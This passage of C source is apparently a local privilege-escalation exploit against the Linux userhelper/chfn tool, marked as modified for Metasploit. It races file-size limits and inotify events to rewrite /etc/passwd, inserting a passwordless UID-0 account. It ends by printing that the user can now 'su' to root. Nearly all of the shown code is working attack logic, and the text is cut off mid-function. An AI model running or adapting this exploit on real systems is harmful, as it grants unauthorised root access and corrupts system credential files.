* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* A maximum GECOS field length. There's no hard limit, so we guess. */
|
||||
#define GECOS_LENGTH 127
|
||||
|
||||
typedef char gecos_field[GECOS_LENGTH];
|
||||
|
||||
/* A structure to hold broken-out GECOS data. The number and names of the
|
||||
* fields are dictated entirely by the flavor of finger we use. Seriously. */
|
||||
struct gecos_data {
|
||||
gecos_field full_name; /* full user name */
|
||||
gecos_field office; /* office */
|
||||
gecos_field office_phone; /* office phone */
|
||||
gecos_field home_phone; /* home phone */
|
||||
gecos_field site_info; /* other stuff */
|
||||
};
|
||||
|
||||
static struct userhelper {
|
||||
struct gecos_data gecos;
|
||||
rlim_t fsizelim;
|
||||
pid_t pid;
|
||||
int fd;
|
||||
} userhelpers[GECOS_LENGTH];
|
||||
|
||||
static void
|
||||
die_in_parent(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
|
||||
fflush(stderr);
|
||||
|
||||
unsigned int i;
|
||||
for (i = 0; i < GECOS_LENGTH; i++) {
|
||||
const pid_t pid = userhelpers[i].pid;
|
||||
if (pid <= 0) continue;
|
||||
kill(pid, SIGKILL);
|
||||
}
|
||||
_exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void
|
||||
die_in_child(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
|
||||
#define die() die_fn(__FILE__, __LINE__, __func__)
|
||||
|
||||
static void *
|
||||
xmalloc(const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const ptr = malloc(size);
|
||||
if (ptr == NULL) die();
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void *
|
||||
xrealloc(void *const old, const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const new = realloc(old, size);
|
||||
if (new == NULL) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static char *
|
||||
xstrndup(const char *const old, const size_t len)
|
||||
{
|
||||
if (old == NULL) die();
|
||||
if (len >= INT_MAX) die();
|
||||
|
||||
char *const new = strndup(old, len);
|
||||
|
||||
if (new == NULL) die();
|
||||
if (len != strlen(new)) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static int
|
||||
xsnprintf(char *const str, const size_t size, const char *const format, ...)
|
||||
{
|
||||
if (str == NULL) die();
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
if (format == NULL) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
const int len = vsnprintf(str, size, format, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (len < 0) die();
|
||||
if ((unsigned int)len >= size) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return len;
|
||||
}
|
||||
|
||||
static int
|
||||
xopen(const char *const pathname, const int flags)
|
||||
{
|
||||
if (pathname == NULL) die();
|
||||
if (*pathname != '/') die();
|
||||
if (flags != O_RDONLY) die();
|
||||
|
||||
const int fd = open(pathname, flags);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static const struct flock rdlock = {
|
||||
.l_type = F_RDLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void
|
||||
xclose(const int fd)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static const struct flock unlock = {
|
||||
.l_type = F_UNLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
|
||||
if (close(fd) != 0) die();
|
||||
}
|
||||
|
||||
#define GECOS_BADCHARS ":,=\n"
|
||||
|
||||
/* A simple function to compute the size of a gecos string containing the
|
||||
* data we have. */
|
||||
static size_t
|
||||
gecos_size(const struct gecos_data *const parsed)
|
||||
{
|
||||
if (parsed == NULL) die();
|
||||
|
||||
size_t len = 4; /* commas! */
|
||||
len += strlen(parsed->full_name);
|
||||
len += strlen(parsed->office);
|
||||
len += strlen(parsed->office_phone);
|
||||
len += strlen(parsed->home_phone);
|
||||
len += strlen(parsed->site_info);
|
||||
len++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
|
||||
Note that the parsing is performed using the convention obeyed by BSDish
|
||||
finger(1) under Linux. */
|
||||
static void
|
||||
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
|
||||
{
|
||||
if (gecos == NULL) die();
|
||||
if (strlen(gecos) >= INT_MAX) die();
|
||||
|
||||
if (parsed == NULL) die();
|
||||
memset(parsed, 0, sizeof(*parsed));
|
||||
|
||||
unsigned int i;
|
||||
const char *field = gecos;
|
||||
|
||||
for (i = 0; ; i++) {
|
||||
const char *field_end = strchrnul(field, ',');
|
||||
gecos_field *dest = NULL;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
dest = &parsed->full_name;
|
||||
break;
|
||||
case 1:
|
||||
dest = &parsed->office;
|
||||
break;
|
||||
case 2:
|
||||
dest = &parsed->office_phone;
|
||||
break;
|
||||
case 3:
|
||||
dest = &parsed->home_phone;
|
||||
break;
|
||||
case 4:
|
||||
// msf note: changed `rawmemchar` to `memchr` for cross-compile
|
||||
//field_end = rawmemchr(field_end, '\0');
|
||||
field_end = memchr(field_end, '\0', 16);
|
||||
dest = &parsed->site_info;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
const size_t field_len = field_end - field;
|
||||
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
|
||||
if (strlen(*dest) != field_len) die();
|
||||
|
||||
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
|
||||
|
||||
if (*field_end == '\0') break;
|
||||
field = field_end + 1;
|
||||
}
|
||||
if (gecos_size(parsed) > GECOS_LENGTH) die();
|
||||
}
|
||||
|
||||
/* Assemble a new gecos string. */
|
||||
static const char *
|
||||
gecos_assemble(const struct gecos_data *const parsed)
|
||||
{
|
||||
static char ret[GECOS_LENGTH];
|
||||
size_t i;
|
||||
|
||||
if (parsed == NULL) die();
|
||||
/* Construct the basic version of the string. */
|
||||
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
|
||||
parsed->full_name,
|
||||
parsed->office,
|
||||
parsed->office_phone,
|
||||
parsed->home_phone,
|
||||
parsed->site_info);
|
||||
/* Strip off terminal commas. */
|
||||
i = strlen(ret);
|
||||
while ((i > 0) && (ret[i - 1] == ',')) {
|
||||
ret[i - 1] = '\0';
|
||||
i--;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Descriptors used to communicate between userhelper and consolhelper. */
|
||||
#define UH_INFILENO 3
|
||||
#define UH_OUTFILENO 4
|
||||
|
||||
/* Userhelper request format:
|
||||
request code as a single character,
|
||||
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
|
||||
request data
|
||||
'\n' */
|
||||
#define UH_REQUEST_SIZE_DIGITS 8
|
||||
|
||||
/* Synchronization point code. */
|
||||
#define UH_SYNC_POINT 32
|
||||
|
||||
/* Valid userhelper request codes. */
|
||||
#define UH_ECHO_ON_PROMPT 34
|
||||
#define UH_ECHO_OFF_PROMPT 35
|
||||
#define UH_EXPECT_RESP 39
|
||||
#define UH_SERVICE_NAME 40
|
||||
#define UH_USER 42
|
||||
|
||||
/* Consolehelper response format:
|
||||
response code as a single character,
|
||||
response data
|
||||
'\n' */
|
||||
|
||||
/* Consolehelper response codes. */
|
||||
#define UH_TEXT 33
|
||||
|
||||
/* Valid userhelper error codes. */
|
||||
#define ERR_UNK_ERROR 255 /* unknown error */
|
||||
|
||||
/* Paths, flag names, and other stuff. */
|
||||
#define UH_PATH "/usr/sbin/userhelper"
|
||||
#define UH_FULLNAME_OPT "-f"
|
||||
#define UH_OFFICE_OPT "-o"
|
||||
#define UH_OFFICEPHONE_OPT "-p"
|
||||
#define UH_HOMEPHONE_OPT "-h"
|
||||
|
||||
static char
|
||||
read_request(const int fd, char *const data, const size_t size)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (data == NULL) die();
|
||||
if (size >= INT_MAX) die();
|
||||
|
||||
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
|
||||
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
|
||||
header[sizeof(header)-1] = '\0';
|
||||
|
||||
errno = 0;
|
||||
char *endptr = NULL;
|
||||
const unsigned long len = strtoul(&header[1], &endptr, 10);
|
||||
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
|
||||
|
||||
if (len >= size) die();
|
||||
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
|
||||
if (data[len] != '\n') die();
|
||||
data[len] = '\0';
|
||||
|
||||
if (strlen(data) != len) die();
|
||||
if (strchr(data, '\n') != NULL) die();
|
||||
return header[0];
|
||||
}
|
||||
|
||||
static void
|
||||
send_reply(const int fd, const unsigned char type, const char *const data)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (!isascii(type)) die();
|
||||
if (!isprint(type)) die();
|
||||
if (data == NULL) die();
|
||||
if (strpbrk(data, "\r\n") != NULL) die();
|
||||
|
||||
char buf[BUFSIZ];
|
||||
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
|
||||
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
|
||||
}
|
||||
|
||||
#define ETCDIR "/etc"
|
||||
#define PASSWD "/etc/passwd"
|
||||
#define BACKUP "/etc/passwd-"
|
||||
|
||||
static struct {
|
||||
char username[64];
|
||||
char password[64];
|
||||
struct gecos_data gecos;
|
||||
} my;
|
||||
|
||||
static volatile sig_atomic_t is_child_dead;
|
||||
|
||||
static void
|
||||
sigchild_handler(const int signum __attribute__ ((__unused__)))
|
||||
{
|
||||
is_child_dead = true;
|
||||
}
|
||||
|
||||
static int
|
||||
wait_for_userhelper(struct userhelper *const uh, const int options)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid <= 0) die();
|
||||
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
|
||||
|
||||
int status;
|
||||
for (;;) {
|
||||
const pid_t pid = waitpid(uh->pid, &status, options);
|
||||
if (pid == uh->pid) break;
|
||||
if (pid > 0) _exit(255);
|
||||
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
}
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
|
||||
return status;
|
||||
}
|
||||
|
||||
static void
|
||||
forkstop_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid != 0) die();
|
||||
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
|
||||
|
||||
struct rlimit fsize;
|
||||
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
if (uh->fsizelim > fsize.rlim_max) die();
|
||||
if (uh->fsizelim <= 0) die();
|
||||
fsize.rlim_cur = uh->fsizelim;
|
||||
|
||||
cpu_set_t old_cpus;
|
||||
CPU_ZERO(&old_cpus);
|
||||
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
|
||||
{ const int cpu = sched_getcpu();
|
||||
if (cpu >= CPU_SETSIZE) die();
|
||||
if (cpu < 0) die();
|
||||
cpu_set_t new_cpus;
|
||||
CPU_ZERO(&new_cpus);
|
||||
CPU_SET(cpu, &new_cpus);
|
||||
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
|
||||
|
||||
int sv[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
|
||||
|
||||
if (is_child_dead) die();
|
||||
static const struct sigaction sigchild_action = {
|
||||
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
|
||||
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
|
||||
|
||||
uh->pid = fork();
|
||||
if (uh->pid <= -1) die();
|
||||
|
||||
if (uh->pid == 0) {
|
||||
die_fn = die_in_child;
|
||||
if (close(sv[1]) != 0) die();
|
||||
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
|
||||
if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
|
||||
|
||||
const int devnull_fd = open("/dev/null", O_RDWR);
|
||||
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
|
||||
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
|
||||
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
|
||||
static const struct sched_param sched_param = { .sched_priority = 0 };
|
||||
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
|
||||
|
||||
char *const argv[] = { UH_PATH,
|
||||
UH_FULLNAME_OPT, uh->gecos.full_name,
|
||||
UH_OFFICE_OPT, uh->gecos.office,
|
||||
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
|
||||
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
|
||||
NULL };
|
||||
char *const envp[] = { NULL };
|
||||
execve(UH_PATH, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (die_fn != die_in_parent) die();
|
||||
if (close(sv[0]) != 0) die();
|
||||
uh->fd = sv[1];
|
||||
|
||||
unsigned long expected_responses = 0;
|
||||
for (;;) {
|
||||
char data[BUFSIZ];
|
||||
const char type = read_request(uh->fd, data, sizeof(data));
|
||||
if (type == UH_SYNC_POINT) break;
|
||||
|
||||
switch (type) {
|
||||
case UH_USER:
|
||||
if (strcmp(data, my.username) != 0) die();
|
||||
break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
